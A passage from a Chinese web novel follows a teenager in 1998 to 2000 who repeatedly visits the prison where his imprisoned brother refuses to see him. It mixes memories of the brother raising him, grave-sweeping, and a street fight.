“那你说的那玩意儿,”李泥鳅说,“养猪场空着也不是回事,叫人弄了不也白搭吗?而且这半年我干啥呀?”
“养猪,”应不尘说,“养猪场你找个人养猪,找个饲料厂赊账,前头钱给痛快些,后头你就说生意大,这点儿钱到时候一块结。”
“然后呢?”李泥鳅问。
“等账差不得到饲料厂的大头,”应不尘眨着眼睛,说,“跟他说你给不了钱了。”
“我骗人的饲料干啥?”李泥鳅真是摸不着头脑。
“你跟他说,钱你现在一分钱都结不出来,猪呢也换地方了,他想要饲料钱只有一条路,就是你把饲料钱结算了,他把厂子给你,不然就没有。”
“猪饲料的成本低,利润高,有机器,有房子,你耗得他没钱跟你计较了,就可以出手收厂子了。”应不尘说。
“你叫我用我自己的钱,欠一圈,然后逼着人家把厂子给我?”李泥鳅说,“你这人咋这么毒呢?”
“你爱干不干。”应不尘说,“赶紧养猪去吧。”
应不尘真的烦他,巴不得他就给钱,离自己越远越好。瞎说八道一通,让他自己个儿研究去吧。
但是有一点儿应不尘没撒谎,现在的人经济条件好了,猪肉肯定是要涨价的。
“你咋会的这些?”李泥鳅问。
“我哥教的。”应不尘说。
“你哥带你的时候,你都不大点吧?”李泥鳅说。“那你哥咋整成这德行呢。”
“我哥?”应不尘皱了皱眉,说,“我要是没有放火烧面粉厂,你猜猜你这辈子能不能见得上我哥一面。”
“稀罕不死你,出来还不是个劳改犯。”李泥鳅说。
应不尘站在原地,穿着薄薄的运动服,他的眼睛忽而有种狠厉的劲儿。
“我从前放火,你猜我现在会不会杀人?”应不尘说。
“诶!诶!”李泥鳅说,“气性咋这么大呢,你不是还要去宜华了,你
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赶紧去吧,我听说你哥的案子快要判了。”
应不尘没理他,坐上了去宜华的汽车。
哥说过,几句话就能让人家给你挣钱才是最大的本事,你管人家怎么骂你呢。
***
在98年的夏天,在周瞳来到宜华的第六年半,车祸的半年后,周瞳的案件终于提起了公诉。
法庭上有旁听席,不少人都进来了,看见应不尘坐在这里就坐到别处去了,这里的人都是来法院看如何裁决这个畜生的。
周瞳带着手铐被带上来的时候,应不尘的呼吸都停滞了,他不确定周瞳有没有看见他,周瞳被理了寸头,眼睛看起来不是很好,老眨。
应不尘盯着他的后脑勺,周瞳是不能回头的。
应不尘听不清被告原告,周瞳没有说什么话,在庭上直接放弃了再审的流程,承认了自己的罪行,也服从当下的判决。
旁听席上有人在哭。
整个流程简短又肃穆。
那会儿,应不尘也曾想过,不要钱,哥能回来吗?
黄师傅跟应不尘说,那你哥想要回来过这种日子吗?
在法官敲锤的时候,老先生的家里人就冲上去打了周瞳,应不尘被人拦在人流外面,看见了一伙人对着周瞳拳打脚踢,他的双手被镣铐紧紧地扣住,连警察都只是装模作样的拦。
那是德高望重的老先生,学生家人有情绪再正常不过。
应不尘喊到嗓子无法发出声音,他被人拦在后面,只能生生的看着人家的拳脚,重重的落在周瞳的身上。
应不尘嗓子干哑,想喊叫都无法发出声音,他拼命的往前拱,只能看见越来越多的人在殴打周瞳,他想上去护住周瞳,却只能眼睁睁的看着他的鼻子被打出血流,众人总会将对仇者的怒怨等同于对逝者的心痛与孝顺,总是法不责众,而人群中央,那个曾在大货车上对着应不尘灿烂微笑的周瞳,奄奄一息地被扶走,他连鞋子都掉了,那样狼狈的周瞳,他从未见过。
应不尘在法院门口淋了一场大大的雨,是人都能明白98年团年夜那天发生了什么,奶奶治病的钱从哪来,面粉厂的巨额债务又是如何化解,那个败家子为何再也没出现。
那场雨将应不尘的心都淋碎了。
***
汪奶奶以前的同学在汪奶奶追悼的时候见过应不尘,来派出所开了亲属证明的时候没为难他,应不尘才第二次见到了周瞳。
周瞳的手倒是比从前嫩了很多,他的右边眼球有一个白点,眼白有一点点浑浊的小黑斑,他剪了寸头,穿着蓝色的监狱的衣服,拿起了听筒。
“喂。”应不尘说。
“你现在,怎么样啊?”周瞳佯装这些都是小事,若无其事的问。
“我在新春上学了。”应不尘轻松地说,“挺好的,就是那个李泥鳅。”
应不尘怕周瞳担心自己,找补说,“对我,对我挺好的。”
“行,”周瞳摸了摸鼻子,说,“那什么,大人了啊,好好的。”
应不尘还想说什么,周瞳低着头,说,“那就,别来了,晦气吧啦的。”
应不尘急了,说,“为,为什么啊?”
周瞳拧着眉毛,说,“自从碰到你之后,我晦气吧啦的,还不够明显吗?”
他肯定是在说气话。
周瞳扣了电话,由人带进去了,看都没看应不尘一眼。
应不尘不明白,为什么周瞳要这么对他呀?
五年真的很长吗?
32. 1999[1]
暑假的时候,应不尘就租住在那个半地下室。
早上起来,就搭乘公交车去监狱附近,公交车不能直接到,得走一段路,他边看书边走,到了之后也不能靠近,他就远远地瞧着。
到傍晚了,坐在凳子上吃点儿东西,然后坐公交车回去。
天实在太热的时候,应不尘也不开电风扇,半地下室的窗户有八根焊条,看起来就像监狱一样。
周瞳遗留在被子上的味道越来越淡了,有时候应不尘要枕着他的衣服睡觉,到后来,他衣服的味道也淡了。
应不尘偶尔会捡到周瞳乱扔然后找不到的东西,像捡啥宝贝似的笑。
这里原先被打砸得不像样,现在也没人来了。
应不尘慢慢地把它收拾出来。
周瞳经常坐在这个窗户下面抽烟,半地下室,味道散不掉,这块儿下面的床板下都是烟头,本来想扫了,想想又不想扫了。
铁架子上的塑料盆因为没人用就会酥掉,应不尘把被子洗完,拧不干,他就一节一节慢慢拧,拧完拿回去晒,晒到晚上也晒不干。
所幸也不冷。
这里有个小煤气灶,里面也没煤气了,他俩遭了火灾之后就不怎么用火了。
周瞳有毛病,出去就顺打火机,一抽屉的打火机,应不尘把他们按颜色放在一起,还挺好看。
烟盒子也多,周瞳最开始抽的烟很差,那会儿他其实不咋会抽烟,他说,抽烟那是为了跟人家攀关系,抽着抽着就会了。但是饿肚子的时候抽烟头容易晕。
应不尘打开抽屉,里面还有止痛药,安乃近,应不尘早就不吃这个了,但是看着上面写的标,都是新的。
周瞳连牙都要当了手表给他看,不让他吃安乃近,说那药吃了能有个好?脑子都要吃坏了。
可是他自己吃。
应不尘抱着药盒子不知道周瞳哪里痛,他是不是哪里都痛。
欠的钱怕忘了,有个本子,记了些支出,关于他自己的基本都没有,从前应不尘嫌他衣服买的多,他说,哥不买衣服要死人的!
也没死呢。
应不尘吸了吸鼻子,还有很多卡拉ok跟歌舞厅的账单,密密麻麻的,那会儿,应不尘也想跟着去,像个甩不掉的鼻涕。
那些男的搂着女的唱歌,应不尘问,“他们在干啥?”
“上音乐课。”周瞳大喇喇地躺在沙发上。
音乐课哪有这么上的。应不尘想。
“哥,那你也上音乐课吗?”应不尘问,“那样的,抱在一起上。”
“上两节课倒是也有,但是音乐作业交不了。”周瞳说。
“啥是交作业啊?”应不尘问。
边上不着调的小子把左手拢成一个圈,右手的手指头就往圈里面来回捅。
周瞳瞧了他一眼,说,“小呢,别胡闹。”
“就这样,小尘,看见没?”小子喝了酒,没完了。
周瞳站了起来,理了理领子,要带孩子走了。
“诶!周哥走啥,咱弟我带着玩呗。”小子拉着应不尘说。
“玩啥?”周瞳问,他的脸色已经不好了,应不尘都看出来了。
那小子又重复地做了个那个姿势。
他挨打了,周瞳一拳锤在他脸上。
打完周瞳从衣服内侧掏了点钱扔他头上。
“哥,你为啥打人?”应不尘被周瞳牵着手回去。
“他该揍呗。”周瞳无所谓地说。
“打人不好。”应不尘说,“哥应该好好说,不能打人呐。”
“我跟他好好说了啊,”周瞳说,“喝点马尿,脑子不好使了。”
“因为他逗我,是不?”应不尘抬头问。
“这不叫逗,”周瞳说,“逗小孩儿,只能逗哭逗笑,不能逗坏,知道不?”
“哥,我以后就在外面等你。”应不尘说,“他们上音乐课。不要脸。”
从此之后,应不尘只会拖着板车,站在门口等。
他已经知道里面是啥样的了,他也不怕里面有拖着哥的恶鬼,他们就是在里面上音乐课。但是哥的音乐课不好,他交不了作业。
应不尘吸了吸鼻子,又开始洗碗,周瞳就不乐意洗碗,他要是去汪奶奶那,回来碗都会长白毛。
其实周瞳最开始的时候给他洗澡,洗头发,也给他洗东西。
有一回,那会儿哥有钱了,有女人来家里给哥洗东西,晒被子,应不尘回来都不要不认识了,他拿着块抹布,又要哭了。
“又咋了呢,我的小祖宗。”周瞳抱起来他。
“你不要人给你干活,”应不尘说,“你找了别人干活。”
“那也总不能老让你干,”周瞳说,“你还小,要读书。”
“我就要干。”应不尘眨巴着带泪花的眼睛,“你讲了,我们要互相照顾,你嫌我弄得不好,不叫我干了。”
“诶诶诶诶,”周瞳说,“行行行行行,都你干。”
“跟个傻子似的。”周瞳说,“半点不会享福。”
“你会享就行。”应不尘把一碗菜都分了好几个碗,摆了一桌子,周瞳说,“真能给自己找事儿。”
高兴。
又可以洗碗了。
应不尘蹲在地上洗碗,洗锅,洗桌子,周瞳的钥匙还在这里,上面坠了个应不尘没见过的小吉他。
应不尘没有见过小吉他的主人。
能让哥戴在钥匙上的,他应该会知道的。
从前女孩儿给周瞳送领带,送打火机,给应不尘送笔记本,送书包,他都能分清楚主人,但是唯有这上面的小吉他,应不尘不知道。
应不尘有点慌,哥原来还有他不知道的秘密。
一到这儿,应不尘的手就垂了下来,没力气了。
1999年的夏天,在那个半地下室里,应不尘坐在窗口周瞳常常坐的地方,掏出周瞳还没点的烟,抽了一口,有点呛人,周瞳说好烟都是拿来送的,烂烟才是拿来抽的。
他看着窗户外面,只看见了两个垃圾桶。
一个红的,一个蓝的。
应不尘抽完了一根烟,也不明白这两个垃圾桶究竟有什么值得看。
电风扇呼啦啦的转,应不尘转过头去,看见了柜子上周瞳的保温杯,是当年他的运输公司成立的时候分给那会儿的大车司机的。
字都已经要褪了,圆弧的白色字体写着:【同尘运输公司1995成立纪念。】
下面的横的一行小字,都要看不清了,写着,【和光同尘,风雨同程】
别人的好像都是山水同程。
是「瞳」与「尘」。
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应不尘抱着保温杯,里面经年的茶渍已经泡黄了杯子。
半年前的茶,周瞳还没有喝完。
***
秋天一到,应不尘就要回去开学了。
他需要上初三了。
李泥鳅不知道是不是真的有财神爷眷顾,钱包也是日渐鼓了起来,反正对应不尘读书这个事情基本有求必应,就好好供着呗,高人果真是高人。
他哥被判了五年,那这五年这小子就得在自己边上,他就一个脑子,年纪太小什么事儿都办不了,还得指望着李泥鳅。
人家都说,李泥鳅捡来的儿子都这么疼,发财都是应该的。
应不尘一直都在两地跑,每一个周末,他都坐上大巴车,景色大同小异,每个月都要看八遍。
监狱里等着见人的人很多,不止应不尘一个。
一个月可以见一次,而周瞳真的再也没见过他。
应不尘还是来等,不见面就写信。
他的信总是被原封不动的退回来。
周瞳肯定是怕自己五年之后出来,眼睛也坏了,还坐过牢,还没有钱,他嫌弃他自己了。
应不尘这样想,鼻子就开始酸了。
周瞳到底要怎么样才会要他呢?
其实如果按月算日子,真的很快,应不尘来往返了17次,就到了寒假了。
每周都成了既定的旅程,有想去的地方,就称不上是流浪了。
寒假的日子比暑假其实好过一个点儿,暑假太热了,坐在哪儿听知了叫就容易中暑,寒假就不会。
应不尘又住在半地下室,这回彻底只有一股白毛的味道,这里太久没人住了。
应不尘会在来这儿的时候收拾点儿要带回去的东西,就像身边带着周瞳一样。
1999年要来了。
今年的应不尘没地方过年,他巴不得李泥鳅离他越远越好。
汪爷爷奶奶的墓碑应不尘又来扫了,扫完就去监狱。
应不尘靠在汪奶奶的坟上,这里长了都是草了,还有荆棘条子,没人管,疯了一样长,可是一拽就扯得手上都是血。
坟在山上,离着原来的房子不远。
“奶,我哥不要我。”应不尘红着鼻子去抓藤条。又重复了一次,“奶,你说他。”
汪奶奶早就成了小小的一钵黄土,没有理会这孩子。
“爷,你说他不?”应不尘蹲在坟前面,当时刻坟板时的时候,人家的贤儿孝婿都要在上面刻名字,但是汪爷没有,周瞳那会儿搞了个贼贵的坟板石,刻字的时候只留了汪奶奶的名字,白房先生还问了多次,就这么刻吗?
周瞳嗯了一声,说,“倒是想写,感觉自己个儿有点配不上,等以后吧,等以后,过几年再起新坟板的时候,给这儿都好好修修,给这路修完,再看看刻新板吧。”
汪奶奶去瞧了一次。
就找人把汪爷爷的坟板石拆了重新刻字。
这是大不敬的,又没起更贵更好的坟板。
改了字了,周瞳,应不尘泣立。
他们的名字红色的,连在一起。
应不尘想起了那会儿他的名字就是奶奶起的。
应不尘摸着坟板上的字,扯了扯嘴角,就要哭了。
哪有天上月,哪有不染尘。
33. 1999[2]
应不尘在公交车上经过面粉厂,就会特别想念在面粉厂的时光,奶奶坐在办公室里算账,她总是下午才来。周瞳会在棚子底下打牌,他摸到了好牌总是会控制不住自己的眉毛,哪怕是装愁苦应不尘也能一眼就看出来。
周瞳那时候从大货车上跳下来,穿着松松垮垮的牛仔裤,有时候会穿西装,穿得比任何人都好看,他蹲下来擦自己的皮鞋,说这可是温州来的好东西,但是一碰水就烂了,好像是牛皮纸糊的,气得周瞳跳脚大骂,哈哈,他竟然也有被人骗的时候。
印象里,周瞳还被骗过好几次,人家来推销,说有一种巧克力牛奶粉,小孩子喝了能长高,但是就是有点贵,周瞳就给应不尘买了一大箱,应不尘并没有长高。
那个车棚子的门的后面有刻度,每次周瞳都叼着笔帽给应不尘画下来,要是没长高就说这个门被自己踹歪了。
他的风子叔就在这里了,再也走不出去了。
面粉厂已经散了,这里的火烧的痕迹还留在那里,烟熏火燎的一大片。应不尘蹲在那个小铁皮房子里,这里的东西都烧完了。
周瞳给他打的小凳子,搪瓷的碗也没法用了。
周瞳的漂亮衣服都被烧得不像样,一捏就碎了。
薄薄的雪将整个宜华淹没。
当年只要一下雪,应不尘就怕周瞳不来接他,最是讨厌下雪。
雪天路滑,周瞳来了汪爷爷要说他。
一来二去的,应不尘就害怕了。
周瞳跟他说,“那玩意儿有啥呀,都是哥撒的盐。”
他那会儿他小,真信了。
满宜华的雪都是哥撒的盐。
新春了。
监狱只有轮班执勤的人,门紧紧地闭着。
应不尘站在门口,偷偷点燃了一个五块钱买的烟花。
他想要让周瞳看见,但是烟花瘪了气了,烧着就成了哑炮。
应不尘就坐在烟花旁边,穿着周瞳当年给他讹来的单薄的运动服,枕着薄薄的雪,是周瞳撒的盐。
他看着自己的鞋子小了,从前的周瞳每次给他买鞋子都会把手指插进脚后跟,叼着烟夹着包对着售货员笑嘻嘻对半砍价,但是现在没有了。
应不尘抬起头来,万家烟火都在此时绽放,高速上星星点点的车都赶着回家,天空时常亮得像白昼,如果周瞳还在,那他定然要抱着自己看新节联欢晚会,并且一骨碌地开始批判这些节目,最后靠在床头睡去,他总是等不到那首《难忘今宵》。
应不尘抱着自己的膝盖,迎来了自己15岁的第一天,是90年代的最后一年。
冻僵的小孩儿大家都眼熟,醒来的时候边上是一个年长的阿姨,周围是消毒水的味道,显然,应不尘现在在医务室。
这是应不尘第一次跟监狱的人有近距离探听周瞳的机会。
“你好,你好,我想问一下,那个,周瞳...”应不尘怕人讨厌周瞳,毕竟在他们眼里,周瞳撞死了一位德高望重的老先生,“好吗?”
阿姨说,“先不管别人,你不太好。”
“我没有不好。”应不尘除了手长了烂疮,脸起了鸡皮,浑身僵得发痛之外,没什么不好的。
“衣服穿得太少了。”阿姨说。
应不尘只想知道周瞳好不好。
但是得到的回复是,在改造,不用担心。
又是这句话。
总是这句话。
周瞳吃东西又挑,也爱睡懒觉,睡觉必须拉窗帘,最烦别人管他。
应不尘在短暂的休息之后也被人请了出去。
高高的围墙里的周瞳过得好吗?有想他吗?
依旧是每周一次的长途车,路程是171公里,大巴车最早是早上六点在转盘出发,最快的一次是开了3小时15分钟,最慢的一次是车坏在路上了,花了7个小时。最晚的一班车在晚上9点,但是那辆车是卧铺车,比一般的坐的车要贵75元。
应不尘的车票擂成了厚厚一摞,夹在笔记本里。
应不尘的头发是最便宜的理发店剪的,他那个理发店老板跟着一个一头的黄毛的小工,应不尘总是让他剪,黄毛很是高兴,剪的特别慢,就差一根一根的剪了,可是黄毛的技术不好,把应不尘剪成了一个窝瓜,就像当时周瞳给他练手一样。
黄毛有点害怕,但是应不尘却坐在镜子面前说,“剪的很好,我有个朋友,第一次剪还不如你。”
应不尘笑着出了门,黄毛看见他蹲在街角,或许是他第一次抽烟,几次都点不着,再后来,他被呛得眼泪直流,走了。
这时候的小卖部逐渐变成了超市,市里也有了第一个大超市。
应不尘总是站在卖米处,边上就是卖面粉的。
面粉有味道,应不尘觉得好闻,怎么也闻不够。
从前的周瞳会在面粉里混一点水,就变成了一个白色的橡皮泥,周瞳会把他捏成小猪,小兔子,有一次,周瞳把他捏成了一个排骨,混在红烧排骨里,被应不尘吃到了就哈哈大笑。
李泥鳅的家里只有个阳台是应不尘的,搁了一张钢丝床,几个橱柜放书,有一条塑料凳,就没了。
应不尘买了两斤面粉就坐在床上,生面粉不好吃,糊嗓子。
接着应不尘把面粉都撒在床上,静静的躺着,看着外面的天轰隆隆的打雷。
应不尘小时候觉得千玺年很远,等到他真的来临的时候,觉得跟平常也没什么区别。
还是一样的雪,一样的高墙,一样不见应不尘的周瞳。
学习压力陡然变大了,千禧年的高中生已经是很好很好的学历了。供销社也在这个时候慢慢私人化,从前的国营厂渐渐被老板购买,整改。
每次当应不尘坐着公交车穿梭在城市的时候,他总觉得自己跟周瞳都被停留在了1998年。
整个县城在这一年突然往前加速,没有周瞳在身边,应不尘开始不明白很多事情的道理,比如铁路上的火车是如何往前走,刹车的时候为啥有那么大的气儿。
他也不明白,现在的bb机为什么不能用了?他呼到台里的时候,总是没人接了。
应不尘依然两头跑,但是依然瞧不见周瞳。
应不尘长高了,有同班的同学叫他喝喜酒,原来人家读完书就可以结婚了,他们的孩子将在还没成年的时候出生。
应不尘在清明的时候去给奶奶扫墓,他说,“奶奶,我恐怕是个坏人。”
奶奶又没有回复他。
应不尘这次带了锄头,就在奶奶的坟上砍那些藤条,又长长了,真不要脸,就往爷爷奶奶的坟上长。想完又觉得跟自己差不多,哥说了,我们就挺不要脸,人家挺好的老头老太太让他俩霍霍成这样。
“霍霍成这样。”应不尘念叨着,“不要脸,不要脸。”
李家的祠堂在过年或者清明的时候都会找一群老太婆在那里念经,应不尘问,“要找人坐这里念经吗?”
清风没有回答他。
“哥说要修路,修的路好了,就能多来几趟了。”应不尘说,“哥说了,路不好,奶奶来看一次麻烦,都是烂泥巴。”
应不尘抹了一脸的眼泪,说,“奶,我如果把路修好,你可再能走一遍?”
应不尘费劲的砍着边上的草垛,修路要拉沙子,拉石子,要找压路机,阔开了才成。
“我修不好。”应不尘的心绷得太紧了,“我修不好。”
应不尘蹲在坟边,边上都是他拉来的草垛,他点纸钱,人家说,要念经的了写上名字往生的人才能收到。
应不尘坐在这里烧纸钱,不知道咋回事,天就黑了。
应不尘盘坐在这里吃上供的果子,老太太的坟板上写着李泥鳅,应不尘不爽这个事情很久很久了。
应不尘就拿了块石头,去砸李泥鳅的名字。
砸得稀巴烂。
2000年的春风吹拂到应不尘的时候,电影院逐渐有电影开始播
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放,票价就几块钱。
应不尘等完周瞳,就去电影院过夜。
总蹲在外面,监狱的人会出来驱赶他。
私人电影院在夜里总会放一些让人血脉喷张的电影,边上的小情侣抱在一起啃嘴。
也有女生邀请应不尘一起看电影,坐到后面的包间里面去。
应不尘不想,他跟谁也无法坐在一起,碰到都觉得有些不舒服。
他就坐在电影院的最后一排,像老师俯瞰台下的学生。
他看见忘情的男人将手伸进女孩儿的衣襟里面,现在的年轻人追求爱情不惜一切。
初三之后,就可以分技校跟高中了。
应不尘成绩优异,就进入了这里的高中。
这里的高中按照成绩排名,分高就不需要择校费。
应不尘还是给周瞳写信,哪怕他从来也不看。
应不尘在学校被老师抓住了好几次抽烟,记了处分,依旧不改。
黄毛理发的技术飞快,他好像谈恋爱了,把头发染回了黑色,应不尘就再也没去过。
街边的老房子开始被拆迁,哪里都一样,这儿迎来了大基建的东风。
李泥鳅的房子被规划了进去,成了第一批的拆迁户,李泥鳅现在还是记着高人的好,哪怕他从来也不管应不尘,连孩子多大了都不知道。
那个假生日的时候,李泥鳅就要大操大办,弄来猪头放在宗祠里。
旁人都说,李泥鳅对这个养儿子可太好了。
高中的同学少了一半,李泥鳅为了好名气还是让应不尘继续上学。
应不尘还是那样,每周就开始往返,车站的售票员都认识他了。
售票员问,“是去看你家里人啊?”
应不尘低着头,说,“嗯。”
售票员问,“那你家里人怎么每次都是让你这个小孩子去啊?”
应不尘地低着头说,“他忙。”
2000年团年夜快到了的时候,汪奶奶他们的坟需要迁走,这里也要盖楼了。
那位白房的老爷爷在村里有点声望,他堵住了每个周末都来开路的应不尘。
“村里拆了要分钱。”白房爷爷说,“你能揣住吗?别叫你那个爹知道。”
“我成年了就出去,我跟他没关系。”应不尘说。
白房的爷爷抽旱烟,与应不尘一起坐在坟板石边上,看见汪家老太太的坟板石上李泥鳅的名字被这孩子都掏出一个洞来。
“你哥好吧?”白房爷爷问。
“不知道,”应不尘说,“我来等,等不着。”
“村里征迁,一块儿给一笔补偿,然后全挪到那边的公墓去,”白房说,“那钱我给你写名字,你之前上过你奶奶的户口本,村里有名册,记档了。”
“谢谢爷爷,”应不尘说,“我,我,就我自己,您还惦记我。别人都说,汪爷汪奶死了,我吃绝户。”
“管他们干啥!”白房抖抖烟灰,道,“等都办完,我给你领那个钱。拿上,你哥出来了也要用钱。”
“我跟你磕个头。”应不尘作势就要起来。
白房老爷子抓住了应不尘,说,“那会儿,你哥被抓了,我也不知道他干啥了,反正弄出来要交钱,不然就搁那了,汪家你爷爷来敲门,叫我给他挪点钱,我说你汪爷也不缺钱,咋紧成这样。后来听说弄出来了,你汪爷再后来来还钱,我说何必呢,天下的孩子能帮的完吗?那小子流里流气的,瞧着不是实惠的好东西,那头发弄得,哪有正经人那样,我叫你汪爷别老都老了往家里头找耗子,实心话。”
白房的老爷子敲敲旱烟筒子,说,“你汪爷老久了见我都当看不着,我说你哥,他不乐意了。”
“我说的不对。”白房爷爷摸着应不尘的脑壳说,“当我跟你哥赔礼了,叫你爷爷可别生我气了,你跟他说说,你汪爷到死了,都没搭理我了。”
转过去,清风吹过山岗,绿浪微微摇晃,山是树的海。
34. 1999[3]
快过年的时候,应不尘在街上晃荡,他不知道干啥去。
监狱那头现在有巡逻的,自己已经被劝了好几回了,他们都盯着应不尘,怕他又冻死在过年夜。
走着走着,就到了旺旺饭店。
老板娘跟老板多了个孩子,还在摇篮里面,小车车上。
看见应不尘站在门口,老板娘喊了一声,皱着鼻子,说,“你这孩子,咋跟没了似的,你哥不来,你也不来?”
老板说,“快点儿,进来吃饭。外头冷。”
应不尘说,“我就看看。我哥说了,上门没空手的道理,我还没买东西,不能来。”
“瞎说啥呢。”老板娘将应不尘一下子拽过来,捂在自己的围裙上头,“别跟你哥学坏。”
老板加了两个菜,应不尘被按下吃饭。
“读书现在在新春啦?”老板问。
“嗯。”应不尘说,“初中快上完了。”
“等你读完高中,你哥就回来了,可快了。”老板说,“你哥刚来的时候到现在,这都第八年了是不是?”
“嗯。”应不尘戳着碗里的饭,说,“很快的。”
“你风子叔的娃,都两岁多了,”老板说,“都是小眼镜他们来过,我听说的。”
“嗯。”应不尘抽着鼻子,不敢接话了。
“你风子叔那会儿来我店里吃饭,”老板接着说起了从前,“我还以为他四十来岁了呢,哪有人这显老,他来那会儿我都叫他大哥,后来才知道你风子叔比我还小五岁呢,跟你哥差不多大。”
“风子那长得确实有点儿显老,”老板娘说,“跟你哥站一起,跟差辈似的。你哥那会儿给他们那些跑大车的发饭票,就到我们店里吃饭,叫我拿饭票兑钱,那会儿,他爹,他爹脑子里面长个瘤子,没钱呐,你哥忙前忙后,还送省城去,就他们几个照顾,跑了一夜的车,还要管人,他老爹叫他们照顾了一段,回来跟我说,他疼问他们咋办,他们叫他抽烟,还要他打牌,叫他动动脑子,吃饭就早吃猪脑晚吃猪腰,实在跟他们整不动,非要回来。”
老板笑起来,说,“那风子,我爹说要拉尿,但是医生不叫他走路要多休息,风子给他抱起来把尿,你哥出的主意。”
老板娘说,“前一段不知道咋的他爹知道你哥败了进去了,风子死了,一下子没撑住,瘫了,真要把尿了。”
“就是风子劲儿大,能把,我个头太矮,抬不起来我爹,”老板笑着说。
老板说完,非说要再加两菜。
炒着炒着,他就蹲在那儿捂着脸,菜都糊了。
娃娃哭了,要吃奶。
应不尘从饭店里出来,身上的钱折成了两叠,两个娃娃,两个红包,塞摇篮车里了。哥说了,过年的小孩儿都得压岁。
可是谁给哥压岁呢?
再往前走,就是当年哥打工过被砸了的沙龙店了,这会儿都开了不少店子,洗头发现在已经是很流行的事情了。
应不尘看见了黑牙,黑牙还是原来那个死德行。
应不尘上去就揍黑牙,揍得他懵着只管跑。
跑你吗个逼。
应不尘抄起一个凳子就往黑牙的腰上砸,黑牙终于看见了一个大年夜巡逻的警察,大喊,“我又不认识他,他上来就打我!”
警察在年夜很不想找事,说,“叫你家里人给你领回去,看着就没成年。”
警车边上红的蓝的灯光,黑牙偷偷凑过来看,看见应不尘签下自己的名字,他也想不起来。
应不尘说,“我不回去。”
“你不回去你跟我去看守所啊?”警察说,“你又没把人砸咋滴,你家里人叫来,赔点钱,赶紧。”
应不尘忽然拿着笔就要往死里扎黑牙,黑牙一骨碌就爬到警车上,大喊,“警察叔叔救人呐!他要杀人!”
警察把应不尘按住了,领回去了,放所里。
大年夜在警察局过的,这里有股子特别的味道,像监狱一样。
外面的人来来往往,有点儿年气,一个小孩儿,没人管他,把他扔在屋里,屋里有铁栅栏,有穿着警察衣服的人。
应不尘窝在角落,逐渐有别的人进来了,偷东西的,□□的,乱七八糟的人就往里面进。
他们身上的味道各不相同,警察正在斥责他们。
铁窗外,绽开了千禧年的烟花,比以往任何一次都盛大。
他看着铁窗,心里想,哥,我们又在一起过年了。
应不尘没人来领,关了六七天,他说喜欢这里,整得警察局的人觉得他脑子有毛病,他在这里吃的好,睡得香,每次都在大声朗读制度条子,还带别的人一起朗读。
看着好像脑子也没病。
他吃饭也很积极,叫他们要排好队,大家都有。
这小子脑子还是有病。
晚上睡觉的时候别人这么大孩子进来都要哭鼻子,说以后再也不敢了。
应不尘睡得特别好,比在外面的时候好多了。
就这么整了七天,警察受不了了,他说他想干活,一直按铃,说要干活,这里哪有活让他干,未成年。他又问警察,能不能给他把手铐带上,他是要跑的,他跑了,谁都抓不住。
警察把他赶走了。
黑牙还等着他家里赔一笔钱呢,愿望落空了,气得半死,只得看着人把他放了。
放出来的时候,应不尘笑嘻嘻地跟黑牙抛媚眼,说,“我见你一次打你一次。”
“你有病啊,草你吗的,”黑牙说,“你有本就在这里给我弄死。”
“你的命有我的值钱吗?”应不尘问,“我就乐意打你。”
“你打你妈。”黑牙对着警察说,“你看他,警察叔叔!”
应不尘又要扭打上去,低声说,“我可巴不得再进去呢。”
警察扯着应不尘,让黑牙赶紧走,“惹谁别惹精神病!”
千禧年来了。应不尘15岁了,距离周瞳进去已经两年了。
应不尘在半地下室写寒假作业。
外面撒着薄薄的雪,他穿周瞳的军大衣也不会拖地了。
哥老惦记着自己个子矮,看,这不是开始长了?
应不尘心里高兴,他有新的去处了,打算闲着的时候就去找黑牙,打他一顿就可以看见跟周瞳一样的风景了,铁窗,制服,口号,他念念不忘。
应不尘支着头转着笔,病态地想要跟周瞳靠近一点儿,再靠近一点儿。
他的笔没墨水了,从前的那个被烧了的车棚里面有很多笔,彩色笔,蜡笔,还有铅笔,都是周瞳在供销社给他买的,别人的彩色笔就几支,他就有一整盒。
那会儿还有新华书店,有一本厚厚的新华字典。
周瞳会给他包书皮,有时候是挂历,有时候是报纸,到周瞳有钱了,都是像样的书皮,在新华书店买的。
周瞳会给他在外面写名字,一笔一划的,他总叼着烟写字,什么东西弄得哽住了,烟灰就掉下去了,应不尘的本子就黑了一块儿。那会儿的书可是宝贝,应不尘又要哭了。
周瞳哎呀哎呀了几声,揣着书出去了,再回来的时候就成了新的了。
应不尘一直以为周瞳会变魔法,原来他偷偷去新华书店换了。
那会儿应不尘查字典,他刚得着字典,新鲜得不得了。
那会儿的新华字典是第八版,「瞳」字在第500页,原来瞳就是眼睛。
难怪周瞳有漂亮的眼睛。
就是现在没有了。
寒假的时间短,应不尘算着日子溜达出去好几次抓黑牙都没抓到。
元宵节一过,应不尘又要上学了。
初三下册,夏天的时候他就要中考了。
周瞳这人很有意思,最开始应不尘拿回来奖状的时候看了又看,还要贴在墙上,后来拿回来的实在是太多了,他就不看了。
一把火烧了不少,而且那之后应不尘跳级的跳级,转校的转校,东西也时常留不住了。
应不尘把周瞳的钥匙挂在包上,就让他跟着自己走,哪怕上面那个小吉他的挂件儿他也不明白啥意思。
应不尘背着书包,又要往宜华跑。
有人拍了下他的肩膀,应不尘转过头来,只看见一个陌生的女人,看起来有点儿...黑,还有点儿彪。
“你这钥匙,谁的?”女人问。
“我哥的。”应不尘说。
“你就是他弟弟呀?”是已经不卖唱的阿宁。
“嗯。”应不尘抬头说,“你是谁呀?”
“你哥的...曾经的女朋友。”阿宁说。
“我哥没女朋友。”应不尘说。
“说了曾经。”阿宁说,“你
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现在去干啥?”
“等我哥。”应不尘坐在汽车站等车。
“我哥,喜欢你这样的?”应不尘抬头,皱眉看着这个女人,眉毛粗粗的,眼睛也不大,说起来都没之前那些上音乐课的好看。
“那会儿瘦,现在胖了,”阿宁说,“那会儿我唱歌,你哥卖碟片。我跟你说,可好笑了,我两那会儿一起去进碟片,老板就偷偷塞给你哥一个没图案的碟片,说叫我俩一起看,你哥以为是什么洋货呢,叫我一起去看,结果一打开,霍!黄碟!给你哥羞得,连滚带爬的就去关了。”
“你...不小了吧?”阿宁说,“会不会笑话有点太超前了?”
“不会。”应不尘说,“我家也有。”
“我那会儿,一路走一路看,背着吉他卖唱,到这儿,我就停下了,”阿宁说,“我其实觉得你哥败了挺好的,因为他这样的,只有败了,坏了,才能轮的上我,我长得也不好看,是吧?”
